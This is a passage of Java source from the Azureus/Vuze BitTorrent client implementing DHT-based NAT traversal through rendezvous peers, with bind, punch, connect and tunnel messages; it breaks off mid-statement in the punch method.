/* * Created on 11-Aug-2005 * Created by Paul Gardner * Copyright (C) 2005, 2006 Aelitis, All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * AELITIS, SAS au capital de 46,603.30 euros * 8 Allee Lenotre, La Grille Royale, 78600 Le Mesnil le Roi, France. * */ package com.aelitis.azureus.core.dht.nat.impl; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.lang.reflect.Method; import java.math.BigInteger; import java.net.InetAddress; import java.net.InetSocketAddress; import java.security.*; import java.security.spec.RSAPublicKeySpec; import java.util.*; import org.gudy.azureus2.core3.util.AESemaphore; import org.gudy.azureus2.core3.util.AEThread2; import org.gudy.azureus2.core3.util.BDecoder; import org.gudy.azureus2.core3.util.Debug; import org.gudy.azureus2.core3.util.SHA1Simple; import org.gudy.azureus2.core3.util.SimpleTimer; import org.gudy.azureus2.core3.util.SystemTime; import org.gudy.azureus2.core3.util.TimerEvent; import org.gudy.azureus2.core3.util.TimerEventPerformer; import org.gudy.azureus2.plugins.PluginInterface; import org.gudy.azureus2.plugins.utils.*; import com.aelitis.azureus.core.dht.DHT; import com.aelitis.azureus.core.dht.DHTLogger; import com.aelitis.azureus.core.dht.DHTOperationAdapter; import com.aelitis.azureus.core.dht.DHTOperationListener; import com.aelitis.azureus.core.dht.nat.*; import com.aelitis.azureus.core.dht.transport.*; import com.aelitis.azureus.core.dht.transport.udp.*; import com.aelitis.azureus.core.util.CopyOnWriteList; public class DHTNATPuncherImpl implements DHTNATPuncher { private static boolean TESTING = false; private static boolean TRACE = false; static{ if ( TESTING ){ System.out.println( "**** DHTNATPuncher test on ****" ); } if ( TRACE ){ System.out.println( "**** DHTNATPuncher trace on ****" ); } } private static final int RT_BIND_REQUEST = 0; private static final int RT_BIND_REPLY = 1; private static final int RT_PUNCH_REQUEST = 2; private static final int RT_PUNCH_REPLY = 3; private static final int RT_CONNECT_REQUEST = 4; private static final int RT_CONNECT_REPLY = 5; private static final int RT_TUNNEL_INBOUND = 6; private static final int RT_TUNNEL_OUTBOUND = 7; private static final int RT_QUERY_REQUEST = 8; private static final int RT_QUERY_REPLY = 9; private static final int RT_CLOSE_REQUEST = 10; private static final int RT_CLOSE_REPLY = 11; private static final int RESP_OK = 0; private static final int RESP_NOT_OK = 1; private static final int RESP_FAILED = 2; private static byte[] transfer_handler_key = new SHA1Simple().calculateHash("Aelitis:NATPuncher:TransferHandlerKey".getBytes()); private boolean started; private DHTNATPuncherAdapter adapter; private DHT dht; private DHTLogger logger; private boolean is_secondary; private PluginInterface plugin_interface; private Formatters formatters; private UTTimer timer; private static final int REPUBLISH_TIME_MIN = 5*60*1000; private static final int TRANSFER_TIMEOUT = 30*1000; private static final int RENDEZVOUS_LOOKUP_TIMEOUT = 30*1000; private static final int TUNNEL_TIMEOUT = 3*1000; private static final int RENDEZVOUS_SERVER_MAX = 8; private static final int RENDEZVOUS_SERVER_TIMEOUT = 5*60*1000; private static final int RENDEZVOUS_CLIENT_PING_PERIOD = 50*1000; // some routers only hold tunnel for 60s private static final int RENDEZVOUS_PING_FAIL_LIMIT = 4; // if you make this < 2 change code below! private Monitor server_mon; private Map<String,BindingData> rendezvous_bindings = new HashMap<String,BindingData>(); private CopyOnWriteList<DHTNATPuncherImpl> secondaries = new CopyOnWriteList<DHTNATPuncherImpl>(); private boolean force_active; private long last_publish; private Monitor pub_mon; private boolean publish_in_progress; private volatile DHTTransportContact rendezvous_local_contact; private volatile DHTTransportContact rendezvous_target; private volatile DHTTransportContact last_ok_rendezvous; private final int[] MESSAGE_STATS = new int[12]; private int punch_send_ok; private int punch_send_fail; private int punch_recv_ok; private int punch_recv_fail; private static final int FAILED_RENDEZVOUS_HISTORY_MAX = 16; private Map failed_rendezvous = new LinkedHashMap(FAILED_RENDEZVOUS_HISTORY_MAX,0.75f,true) { protected boolean removeEldestEntry( Map.Entry eldest) { return size() > FAILED_RENDEZVOUS_HISTORY_MAX; } }; private boolean rendezvous_running; private Map explicit_rendezvous_map = new HashMap(); private Monitor punch_mon; private List oustanding_punches = new ArrayList(); private DHTTransportContact current_local = null; private DHTTransportContact current_target = null; private int rendevzous_fail_count = 0; private long rendezvous_last_ok_time; private long rendezvous_last_fail_time; private volatile byte[] last_publish_key; private volatile List<DHTTransportContact> last_write_set; private CopyOnWriteList<DHTNATPuncherListener> listeners = new CopyOnWriteList<DHTNATPuncherListener>(); private boolean suspended; public DHTNATPuncherImpl( DHTNATPuncherAdapter _adapter, DHT _dht ) { this( _adapter, _dht, false ); } private DHTNATPuncherImpl( DHTNATPuncherAdapter _adapter, DHT _dht, boolean _is_secondary ) { adapter = _adapter; dht = _dht; is_secondary = _is_secondary; logger = dht.getLogger(); plugin_interface = dht.getLogger().getPluginInterface(); formatters = plugin_interface.getUtilities().getFormatters(); pub_mon = plugin_interface.getUtilities().getMonitor(); server_mon = plugin_interface.getUtilities().getMonitor(); punch_mon = plugin_interface.getUtilities().getMonitor(); timer = plugin_interface.getUtilities().createTimer( "DHTNATPuncher:refresher", true ); } public DHTNATPuncher getSecondaryPuncher() { if ( is_secondary ){ throw( new RuntimeException( "Use a primary!" )); } DHTNATPuncherImpl res = new DHTNATPuncherImpl( adapter, dht, true ); boolean start_it = false; synchronized( secondaries ){ if ( started ){ start_it = true; } secondaries.add( res ); if ( suspended ){ res.setSuspended( true ); } } if ( start_it ){ res.start(); } return( res ); } public void start() { List<DHTNATPuncherImpl> to_start = new ArrayList<DHTNATPuncherImpl>(); synchronized( secondaries ){ if ( started ){ return; } started = true; for ( DHTNATPuncherImpl x: secondaries ){ if ( !x.started ){ to_start.add( x ); } } } for ( DHTNATPuncherImpl x: to_start ){ x.start(); } DHTTransport transport = dht.getTransport(); transport.addListener( new DHTTransportListener() { public void localContactChanged( DHTTransportContact local_contact ) { publish( false ); } public void resetNetworkPositions() { } public void currentAddress( String address ) { } public void reachabilityChanged( boolean reacheable ) { publish( false ); } }); if ( !is_secondary ){ transport.registerTransferHandler( transfer_handler_key, new DHTTransportTransferHandler() { public String getName() { return( "NAT Traversal" ); } public byte[] handleRead( DHTTransportContact originator, byte[] key ) { return( null ); } public byte[] handleWrite( DHTTransportContact originator, byte[] key, byte[] value ) { DHTNATPuncherImpl owner = DHTNATPuncherImpl.this; for ( DHTNATPuncherImpl x: secondaries ){ DHTTransportContact ct = x.current_target; if ( ct != null && ct.getExternalAddress().equals( originator.getExternalAddress())){ owner = x; } } return( owner.receiveRequest((DHTTransportUDPContact)originator, value )); } }); timer.addPeriodicEvent( RENDEZVOUS_SERVER_TIMEOUT/2, new UTTimerEventPerformer() { public void perform( UTTimerEvent event ) { if ( suspended ){ return; } long now = SystemTime.getMonotonousTime(); try{ server_mon.enter(); Iterator<BindingData> it = rendezvous_bindings.values().iterator(); while( it.hasNext()){ BindingData entry = it.next(); long time = entry.getBindTime(); boolean removed = false; if ( now - time > RENDEZVOUS_SERVER_TIMEOUT ){ // timeout it.remove(); removed = true; } if ( removed ){ log( "Rendezvous " + entry.getContact().getString() + " removed due to inactivity" ); } } }finally{ server_mon.exit(); } Set<InetAddress> rends = new HashSet<InetAddress>(); DHTTransportContact ct = DHTNATPuncherImpl.this.current_target; if ( ct != null ){ rends.add( ct.getExternalAddress().getAddress()); } for ( DHTNATPuncherImpl x: secondaries ){ ct = x.current_target; if ( ct != null ){ InetAddress ia = ct.getExternalAddress().getAddress(); if ( rends.contains( ia )){ log( "Duplicate secondary rendezvous: " + ct.getString() + ", re-binding" ); x.rendezvousFailed(ct, true ); }else{ rends.add( ia ); } } } } }); } timer.addPeriodicEvent( REPUBLISH_TIME_MIN, new UTTimerEventPerformer() { public void perform( UTTimerEvent event ) { publish( false ); } }); publish( false ); } public void setSuspended( boolean susp ) { suspended = susp; synchronized( secondaries ){ for ( DHTNATPuncherImpl x: secondaries ){ x.setSuspended( susp ); } } if ( !susp ){ final DHTTransportContact current_contact = rendezvous_target; timer.addEvent( SystemTime.getCurrentTime() + 20*1000, new UTTimerEventPerformer() { public void perform( UTTimerEvent event) { if ( current_contact != null && current_contact == rendezvous_target ){ rendezvousFailed( current_contact, false ); }else{ publish( false ); } } }); } } public boolean active() { return( rendezvous_local_contact != null ); } public void forceActive( boolean force ) { force_active = force; if ( force ){ publish( true ); } } public boolean operational() { DHTTransportContact ok = last_ok_rendezvous; if ( ok != null && ok == rendezvous_target ){ return( true ); } return( false ); } public DHTTransportContact getLocalContact() { return( rendezvous_local_contact ); } public DHTTransportContact getRendezvous() { DHTTransportContact ok = last_ok_rendezvous; if ( ok != null && ok == rendezvous_target ){ return( ok ); } return( null ); } protected void publish( final boolean force ) { long now = SystemTime.getMonotonousTime(); if ( force || now - last_publish >= REPUBLISH_TIME_MIN ){ last_publish = now; plugin_interface.getUtilities().createThread( "DHTNATPuncher:publisher", new Runnable() { public void run() { try{ pub_mon.enter(); if ( suspended ){ return; } if ( publish_in_progress ){ return; } publish_in_progress = true; }finally{ pub_mon.exit(); } try{ publishSupport(); }finally{ try{ pub_mon.enter(); publish_in_progress = false; }finally{ pub_mon.exit(); } } } }); } } protected void publishSupport() { DHTTransport transport = dht.getTransport(); if ( TESTING || force_active || !transport.isReachable() ){ DHTTransportContact local_contact = transport.getLocalContact(); // see if the rendezvous has failed and therefore we are required to find a new one boolean force = rendezvous_target != null && failed_rendezvous.containsKey( rendezvous_target.getAddress()); if ( rendezvous_local_contact != null && !force ){ if ( local_contact.getAddress().equals( rendezvous_local_contact.getAddress())){ // already running for the current local contact return; } } DHTTransportContact explicit = (DHTTransportContact)explicit_rendezvous_map.get( local_contact.getAddress()); if ( explicit != null ){ try{ pub_mon.enter(); rendezvous_local_contact = local_contact; rendezvous_target = explicit; runRendezvous(); }finally{ pub_mon.exit(); } }else{ final DHTTransportContact[] new_rendezvous_target = { null }; DHTTransportContact[] reachables = dht.getTransport().getReachableContacts(); Collections.shuffle( Arrays.asList( reachables )); int reachables_tried = 0; int reachables_skipped = 0; final Semaphore sem = plugin_interface.getUtilities().getSemaphore(); for (int i=0;i<reachables.length;i++){ DHTTransportContact contact = reachables[i]; try{ pub_mon.enter(); // see if we've found a good one yet if ( new_rendezvous_target[0] != null ){ break; } // skip any known bad ones if ( failed_rendezvous.containsKey( contact.getAddress())){ reachables_skipped++; sem.release(); continue; } }finally{ pub_mon.exit(); } if ( i > 0 ){ try{ Thread.sleep( 1000 ); }catch( Throwable e ){ } } reachables_tried++; contact.sendPing( new DHTTransportReplyHandlerAdapter() { public void pingReply( DHTTransportContact ok_contact ) { trace( "Punch:" + ok_contact.getString() + " OK" ); try{ pub_mon.enter(); if ( new_rendezvous_target[0] == null ){ new_rendezvous_target[0] = ok_contact; } }finally{ pub_mon.exit(); sem.release(); } } public void failed( DHTTransportContact failed_contact, Throwable e ) { try{ trace( "Punch:" + failed_contact.getString() + " Failed" ); }finally{ sem.release(); } } }); } for (int i=0;i<reachables.length;i++){ sem.reserve(); try{ pub_mon.enter(); if ( new_rendezvous_target[0] != null ){ rendezvous_target = new_rendezvous_target[0]; rendezvous_local_contact = local_contact; log( "Rendezvous found: " + rendezvous_local_contact.getString() + " -> " + rendezvous_target.getString()); runRendezvous(); break; } }finally{ pub_mon.exit(); } } if ( new_rendezvous_target[0] == null ){ log( "No rendezvous found: candidates=" + reachables.length +",tried="+ reachables_tried+",skipped=" +reachables_skipped ); try{ pub_mon.enter(); rendezvous_local_contact = null; rendezvous_target = null; }finally{ pub_mon.exit(); } } } }else{ try{ pub_mon.enter(); rendezvous_local_contact = null; rendezvous_target = null; }finally{ pub_mon.exit(); } } } protected void runRendezvous() { try{ pub_mon.enter(); if ( !rendezvous_running ){ rendezvous_running = true; SimpleTimer.addPeriodicEvent( "DHTNAT:cp", RENDEZVOUS_CLIENT_PING_PERIOD, new TimerEventPerformer() { public void perform( TimerEvent ev ) { if ( !suspended ){ runRendezvousSupport(); } } }); } }finally{ pub_mon.exit(); } } protected void runRendezvousSupport() { try{ DHTTransportContact latest_local; DHTTransportContact latest_target; try{ pub_mon.enter(); latest_local = rendezvous_local_contact; latest_target = rendezvous_target; }finally{ pub_mon.exit(); } if ( current_local != null || latest_local != null ){ // one's not null, worthwhile further investigation if ( current_local != latest_local ){ // local has changed, remove existing publish if ( current_local != null ){ if ( !is_secondary ){ log( "Removing publish for " + current_local.getString() + " -> " + current_target.getString()); dht.remove( getPublishKey( current_local ), "DHTNatPuncher: removal of publish", new DHTOperationListener() { public void searching( DHTTransportContact contact, int level, int active_searches ) {} public void found( DHTTransportContact contact, boolean is_closest ) {} public boolean diversified( String desc ) { return( true ); } public void read( DHTTransportContact contact, DHTTransportValue value ) {} public void wrote( DHTTransportContact contact, DHTTransportValue value ) {} public void complete( boolean timeout ) {} }); } } if ( latest_local != null ){ rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with if ( !is_secondary ){ log( "Adding publish for " + latest_local.getString() + " -> " + latest_target.getString()); final byte[] publish_key = getPublishKey( latest_local ); dht.put( publish_key, "NAT Traversal: rendezvous publish", encodePublishValue( latest_target ), DHT.FLAG_SINGLE_VALUE, new DHTOperationListener() { private List<DHTTransportContact> written_to = new ArrayList<DHTTransportContact>(); public void searching( DHTTransportContact contact, int level, int active_searches ) {} public void found( DHTTransportContact contact, boolean is_closest ) {} public boolean diversified( String desc ) { return( true ); } public void read( DHTTransportContact contact, DHTTransportValue value ) {} public void wrote( DHTTransportContact contact, DHTTransportValue value ) { synchronized( written_to ){ written_to.add( contact ); } } public void complete( boolean timeout ) { synchronized( written_to ){ last_publish_key = publish_key; last_write_set = written_to; } } }); } } }else if ( current_target != latest_target ){ // here current_local == latest_local and neither is null! // target changed, update publish rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with if ( !is_secondary ){ log( "Updating publish for " + latest_local.getString() + " -> " + latest_target.getString()); final byte[] publish_key = getPublishKey( latest_local ); dht.put( publish_key, "DHTNatPuncher: update publish", encodePublishValue( latest_target ), DHT.FLAG_SINGLE_VALUE, new DHTOperationListener() { private List<DHTTransportContact> written_to = new ArrayList<DHTTransportContact>(); public void searching( DHTTransportContact contact, int level, int active_searches ) {} public void found( DHTTransportContact contact, boolean is_closest ) {} public boolean diversified( String desc ) { return( true ); } public void read( DHTTransportContact contact, DHTTransportValue value ) {} public void wrote( DHTTransportContact contact, DHTTransportValue value ) { synchronized( written_to ){ written_to.add( contact ); } } public void complete( boolean timeout ) { synchronized( written_to ){ last_publish_key = publish_key; last_write_set = written_to; } } }); } } } current_local = latest_local; current_target = latest_target; if ( current_target != null ){ long now = SystemTime.getMonotonousTime(); int bind_result = sendBind( current_target ); if ( bind_result == RESP_OK ){ trace( "Rendezvous:" + current_target.getString() + " OK" ); rendevzous_fail_count = 0; rendezvous_last_ok_time = now; if ( last_ok_rendezvous != current_target ){ last_ok_rendezvous = current_target; log( "Rendezvous " + latest_target.getString() + " operational" ); for ( DHTNATPuncherListener l: listeners ){ l.rendezvousChanged( current_target ); } } }else{ rendezvous_last_fail_time = now; if ( bind_result == RESP_NOT_OK ){ // denied access rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT; }else{ rendevzous_fail_count++; } if ( rendevzous_fail_count == RENDEZVOUS_PING_FAIL_LIMIT ){ rendezvousFailed( current_target, false ); } } } }catch( Throwable e ){ log(e); } } protected void rendezvousFailed( DHTTransportContact current_target, boolean tidy ) { log( "Rendezvous " + (tidy?"closed":"failed") + ": " + current_target.getString()); try{ pub_mon.enter(); failed_rendezvous.put( current_target.getAddress(), "" ); }finally{ pub_mon.exit(); } publish( true ); } protected byte[] sendRequest( DHTTransportContact target, byte[] data, int timeout ) { try{ return( dht.getTransport().writeReadTransfer( new DHTTransportProgressListener() { public void reportSize( long size ) { } public void reportActivity( String str ) { } public void reportCompleteness( int percent ) { } }, target, transfer_handler_key, data, timeout )); }catch( DHTTransportException e ){ // log(e); timeout most likely return( null ); } } protected byte[] receiveRequest( DHTTransportUDPContact originator, byte[] data ) { try{ Map res = receiveRequest( originator, formatters.bDecode( data )); if ( res == null ){ return( null ); } return( formatters.bEncode( res )); }catch( Throwable e ){ log(e); return( null ); } } protected Map sendRequest( DHTTransportContact target, Map data, int timeout ) { int type = ((Long)data.get("type")).intValue(); if ( type >= 0 && type < MESSAGE_STATS.length ){ MESSAGE_STATS[type]++; } try{ byte[] res = sendRequest( target, formatters.bEncode( data ), timeout ); if ( res == null ){ return( null ); } return( formatters.bDecode( res )); }catch( Throwable e ){ log(e); return( null ); } } protected Map receiveRequest( DHTTransportUDPContact originator, Map data ) { int type = ((Long)data.get("type")).intValue(); if ( type >= 0 && type < MESSAGE_STATS.length ){ MESSAGE_STATS[type]++; } Map response = new HashMap(); switch( type ){ case RT_BIND_REQUEST: { response.put( "type", new Long( RT_BIND_REPLY )); receiveBind( originator, data, response ); break; } case RT_CLOSE_REQUEST: { response.put( "type", new Long( RT_CLOSE_REPLY )); receiveClose( originator, data, response ); break; } case RT_QUERY_REQUEST: { response.put( "type", new Long( RT_QUERY_REPLY )); receiveQuery( originator, data, response ); break; } case RT_PUNCH_REQUEST: { response.put( "type", new Long( RT_PUNCH_REPLY )); receivePunch( originator, data, response ); break; } case RT_CONNECT_REQUEST: { response.put( "type", new Long( RT_CONNECT_REPLY )); receiveConnect( originator, data, response ); break; } case RT_TUNNEL_INBOUND: { receiveTunnelInbound( originator, data ); response = null; break; } case RT_TUNNEL_OUTBOUND: { receiveTunnelOutbound( originator, data ); response = null; break; } default: { response = null; break; } } Map debug = (Map)data.get( "_debug" ); if ( debug != null ){ Map out = handleDebug( debug ); if ( out != null ){ response.put( "_debug", out ); } } return( response ); } protected boolean sendTunnelMessage( DHTTransportContact target, Map data ) { try{ return( sendTunnelMessage( target, formatters.bEncode( data ))); }catch( Throwable e ){ log(e); return( false ); } } protected boolean sendTunnelMessage( DHTTransportContact target, byte[] data ) { try{ dht.getTransport().writeTransfer( new DHTTransportProgressListener() { public void reportSize( long size ) { } public void reportActivity( String str ) { } public void reportCompleteness( int percent ) { } }, target, transfer_handler_key, new byte[0], data, TUNNEL_TIMEOUT ); return( true ); }catch( DHTTransportException e ){ // log(e); timeout most likely return( false ); } } protected int sendBind( DHTTransportContact target ) { try{ Map request = new HashMap(); request.put("type", new Long( RT_BIND_REQUEST )); Map response = sendRequest( target, request, TRANSFER_TIMEOUT ); if ( response == null ){ return( RESP_FAILED ); } if (((Long)response.get( "type" )).intValue() == RT_BIND_REPLY ){ int result = ((Long)response.get("ok")).intValue(); trace( "received bind reply: " + (result==0?"failed":"ok" )); if ( result == 1 ){ return( RESP_OK ); } } return( RESP_NOT_OK ); }catch( Throwable e ){ log(e); return( RESP_FAILED ); } } protected void receiveBind( DHTTransportUDPContact originator, Map request, Map response ) { trace( "received bind request from " + originator.getString()); boolean ok = true; boolean log = true; if ( is_secondary ){ ok = false; log( "Rendezvous request from " + originator.getString() + " denied as secondary puncher" ); }else{ try{ server_mon.enter(); String key = originator.getAddress().toString(); BindingData entry = rendezvous_bindings.get( key ); if ( entry == null ){ if ( rendezvous_bindings.size() == RENDEZVOUS_SERVER_MAX ){ ok = false; } }else{ if ( entry.isOKToConnect()){ // already present, no need to log again log = false; }else{ // looks like it is failing, tell it to go away ok = false; } } if ( ok ){ long now = SystemTime.getMonotonousTime(); if ( entry == null ){ rendezvous_bindings.put( key, new BindingData( originator, now )); }else{ entry.rebind(); } response.put( "port", new Long( originator.getAddress().getPort())); } }finally{ server_mon.exit(); } if ( log ){ log( "Rendezvous request from " + originator.getString() + " " + (ok?"accepted":"denied" )); } } response.put( "ok", new Long(ok?1:0)); } public void destroy() { try{ server_mon.enter(); Iterator<BindingData> it = rendezvous_bindings.values().iterator(); while( it.hasNext()){ BindingData entry = it.next(); final DHTTransportUDPContact contact = entry.getContact(); new AEThread2( "DHTNATPuncher:destroy", true ) { public void run() { sendClose( contact ); } }.start(); } byte[] lpk = last_publish_key; List<DHTTransportContact> lws = last_write_set; if ( lpk != null && lws != null ){ log( "Removing publish on closedown"); DHTTransportContact[] contacts = lws.toArray( new DHTTransportContact[ lws.size()] ); dht.remove( contacts, lpk, "NAT Puncher destroy", new DHTOperationAdapter()); } }catch( Throwable e ){ log( e ); }finally{ server_mon.exit(); } } protected int sendClose( DHTTransportContact target ) { try{ Map request = new HashMap(); request.put("type", new Long( RT_CLOSE_REQUEST )); Map response = sendRequest( target, request, TRANSFER_TIMEOUT ); if ( response == null ){ return( RESP_FAILED ); } if (((Long)response.get( "type" )).intValue() == RT_CLOSE_REPLY ){ int result = ((Long)response.get("ok")).intValue(); trace( "received close reply: " + (result==0?"failed":"ok" )); if ( result == 1 ){ return( RESP_OK ); } } return( RESP_NOT_OK ); }catch( Throwable e ){ log(e); return( RESP_FAILED ); } } protected void receiveClose( DHTTransportUDPContact originator, Map request, Map response ) { trace( "received close request" ); final DHTTransportContact current_target = rendezvous_target; if ( current_target != null && Arrays.equals( current_target.getID(), originator.getID())){ new AEThread2( "DHTNATPuncher:close", true ) { public void run() { rendezvousFailed( current_target, true ); } }.start(); } response.put( "ok", new Long(1)); } /** * XXX: unused */ private int sendQuery( DHTTransportContact target ) { try{ Map request = new HashMap(); request.put("type", new Long( RT_QUERY_REQUEST )); Map response = sendRequest( target, request, TRANSFER_TIMEOUT ); if ( response == null ){ return( RESP_FAILED ); } if (((Long)response.get( "type" )).intValue() == RT_QUERY_REPLY ){ int result = ((Long)response.get("ok")).intValue(); trace( "received query reply: " + (result==0?"failed":"ok" )); if ( result == 1 ){ return( RESP_OK ); } } return( RESP_NOT_OK ); }catch( Throwable e ){ log(e); return( RESP_FAILED ); } } protected void receiveQuery( DHTTransportUDPContact originator, Map request, Map response ) { trace( "received query request" ); InetSocketAddress address = originator.getTransportAddress(); response.put( "ip", address.getAddress().getHostAddress().getBytes()); response.put( "port", new Long( address.getPort())); response.put( "ok", new Long(1)); } protected Map sendPunch( DHTTransportContact rendezvous, final DHTTransportUDPContact target, Map originator_client_data, boolean no_tunnel ) { AESemaphore wait_sem = new AESemaphore( "DHTNatPuncher::sendPunch" ); Object[] wait_data = new Object[]{ target, wait_sem, new Integer(0)}; try{ try{ punch_mon.enter(); oustanding_punches.add( wait_data ); }finally{ punch_mon.exit(); } Map request = new HashMap(); request.put("type", new Long( RT_PUNCH_REQUEST )); request.put("target", target.getAddress().toString().getBytes()); if ( originator_client_data != null ){ if ( no_tunnel ){ originator_client_data.put( "_notunnel", new Long(1)); } request.put( "client_data", originator_client_data ); } // for a message payload (i.e. no_tunnel) we double the initiator timeout to give // more chance for reasonable size messages to get through as they have to go through // 2 xfer processes Map response = sendRequest( rendezvous, request, no_tunnel?TRANSFER_TIMEOUT*2:TRANSFER_TIMEOUT ); if ( response == null ){ return( null ); } if (((Long)response.get( "type" )).intValue() == RT_PUNCH_REPLY ){ int result = ((Long)response.get("ok")).intValue(); trace( "received " + ( no_tunnel?"message":"punch") + " reply: " + (result==0?"failed":"ok" )); if ( result == 1 ){ // pick up port changes from the rendezvous Long indirect_port = (Long)response.get( "port" ); if ( indirect_port != null ){ int transport_port = indirect_port.intValue(); if ( transport_port != 0 ){ InetSocketAddress existing_address = target.getTransportAddress(); if ( transport_port != existing_address.getPort()){ target.setTransportAddress( new InetSocketAddress(existing_address.getAddress(), transport_port )); } } } if ( !no_tunnel ){ // ping the target a few times to try and establish a tunnel UTTimerEvent event = timer.addPeriodicEvent( 3000, new UTTimerEventPerformer() { private int pings = 1; public void perform( UTTimerEvent event ) { if ( pings > 3 ){ event.cancel(); return; } pings++; if ( sendTunnelOutbound( target )){ event.cancel(); } } }); if ( sendTunnelOutbound( target )){ event.cancel(); } // give the other end a few seconds to kick off some tunnel events to us if ( wait_sem.reserve(10000)){ event.cancel(); } } // routers often fiddle with the port when not mapped so we need to grab the right one to use // for direct communication // first priority goes to direct tunnel messages received int transport_port = 0; try{ punch_mon.enter(); transport_port = ((Integer)wait_data[2]).intValue(); }finally{ punch_mon.exit(); } if ( transport_port != 0 ){ InetSocketAddress existing_address = target.getTransportAddress(); if ( transport_port != existing_address.getPort()){ target.setTransportAddress( new InetSocketAddress(existing_address.getAddress(), transport_port )); } } Map target_client_data = (Map)response.get( "client_data" ); if ( target_client_data == null ){ target_client_data = new HashMap(); } return( target_client_data ); } } return( null ); }catch( Throwable e ){ log(e); return( null ); }finally{ try{ punch_mon.enter(); oustanding_punches.remove( wait_data ); }finally{ punch_mon.exit(); } } } protected void receivePunch( DHTTransportUDPContact originator, Map request, Map response ) { trace( "received punch request" ); boolean ok = false; String target_str = new String((byte[])request.get( "target" )); BindingData entry; try{ server_mon.enter(); entry = rendezvous_bindings.get( target_str ); }finally{ server_mon.exit(); } String extra_log = ""; if ( entry != null ){ if ( entry.isOKToConnect()){ DHTTransportUDPContact target = entry.getContact(); Map target_client_data = sendConnect( target, originator, (Map)request.get( "client_data" )); if ( target_client_data != null ){ response.put( "client_data", target_client_data ); response.put( "port", new Long( target.getTransportAddress().getPort())); ok = true; entry.connectOK(); }else{ entry.connectFailed(); extra_log = " - consec=" + entry.getConsecutiveFailCount(); } }else{ extra_log = " - ignored due to consec fails"; } }else{ extra_log = " - invalid rendezvous"; } log( "Rendezvous punch request from " + originator.getString() + " to " + target_str + " " + (ok?"initiated":"failed") + extra_log ); if ( ok ){ punch_recv_ok++; }else{ punch_recv_fail++; } response.put( "ok", new Long(ok?1:0)); } protected Map sendConnect( DHTTransportContact target, DHTTransportContact originator, Map originator_client_data ) { try{ Map request = new HashMap(); request.put("type", new Long( RT_CONNECT_REQUEST )); request.put("origin", encodeContact( originator )); request.put( "port", new Long( ((DHTTransportUDPContact)originator).getTransportAddress().getPort())); if ( originator_client_data != null ){ request.put( "client_data", originator_client_data ); } Map response = sendRequest( target, request, TRANSFER_TIMEOUT ); if ( response == null ){ return( null ); } if (((Long)response.get( "type" )).intValue() == RT_CONNECT_REPLY ){ int result = ((Long)response.get("ok")).intValue(); trace( "received connect reply: " + (result==0?"failed":"ok" )); if ( result == 1 ){ Map target_client_data = (Map)response.get( "client_data" ); if ( target_client_data == null ){ target_client_data = new HashMap(); } return( target_client_data ); } } return( null ); }catch( Throwable e ){ log(e); return( null ); } } protected void receiveConnect( DHTTransportContact rendezvous, Map request, Map response ) { trace( "received connect request" ); boolean ok = false; // ensure that we've received this from our current rendezvous node DHTTransportContact rt = rendezvous_target; if ( rt != null && rt.getAddress().equals( rendezvous.getAddress())){ final DHTTransportUDPContact target = decodeContact( (byte[])request.get( "origin" )); if ( target != null ){ int transport_port = 0; Long indirect_port = (Long)request.get( "port" ); if ( indirect_port != null ){ transport_port = indirect_port.intValue(); } if ( transport_port != 0 ){ InetSocketAddress existing_address = target.getTransportAddress(); if ( transport_port != existing_address.getPort()){ target.setTransportAddress( new InetSocketAddress(existing_address.getAddress(), transport_port )); } } Map originator_client_data = (Map)request.get( "client_data" ); boolean no_tunnel = false; if ( originator_client_data == null ){ originator_client_data = new HashMap(); }else{ no_tunnel = originator_client_data.get( "_notunnel" ) != null; } if ( no_tunnel ){ log( "Received message from " + target.getString()); }else{ log( "Received connect request from " + target.getString()); // ping the origin a few times to try and establish a tunnel UTTimerEvent event = timer.addPeriodicEvent( 3000, new UTTimerEventPerformer() { private int pings = 1; public void perform( UTTimerEvent ev ) { if ( pings > 3 ){ ev.cancel(); return; } pings++; if ( sendTunnelInbound( target )){ ev.cancel(); } } }); if ( sendTunnelInbound( target )){ event.cancel(); } } Map client_data = adapter.getClientData( target.getTransportAddress(), originator_client_data ); if ( client_data == null ){ client_data = new HashMap(); } response.put( "client_data", client_data ); ok = true; }else{ log( "Connect request: failed to decode target" ); } }else{ log( "Connect request from invalid rendezvous: " + rendezvous.getString()); } response.put( "ok", new Long(ok?1:0)); } protected boolean sendTunnelInbound( DHTTransportContact target ) { log( "Sending tunnel inbound message to " + target.getString()); try{ Map message = new HashMap(); message.put( "type", new Long( RT_TUNNEL_INBOUND )); return( sendTunnelMessage( target, message )); }catch( Throwable e ){ log(e); return( false ); } } protected void receiveTunnelInbound( DHTTransportUDPContact originator, Map data ) { log( "Received tunnel inbound message from " + originator.getString()); try{ punch_mon.enter(); for (int i=0;i<oustanding_punches.size();i++){ Object[] wait_data = (Object[])oustanding_punches.get(i); DHTTransportContact wait_contact = (DHTTransportContact)wait_data[0]; if( originator.getAddress().getAddress().equals( wait_contact.getAddress().getAddress())){ wait_data[2] = new Integer( originator.getTransportAddress().getPort()); ((AESemaphore)wait_data[1]).release(); } } }finally{ punch_mon.exit(); } } protected boolean sendTunnelOutbound( DHTTransportContact target ) { log( "Sending tunnel outbound message to " + target.getString()); try{ Map message = new HashMap(); message.put( "type", new Long( RT_TUNNEL_OUTBOUND )); return( sendTunnelMessage( target, message )); }catch( Throwable e ){ log(e); return( false ); } } protected void receiveTunnelOutbound( DHTTransportContact originator, Map data ) { log( "Received tunnel outbound message from " + originator.getString()); } public Map punch( String reason, InetSocketAddress[] target, DHTTransportContact[] rendezvous_used, Map originator_client_data ) { try{ DHTTransportUDP transport = (DHTTransportUDP)dht.getTransport(); DHTTransportUDPContact contact = transport.importContact( target[0], transport.getMinimumProtocolVersion(), false ); Map result = punch( reason, contact, rendezvous_used, originator_client_data ); target[0] = 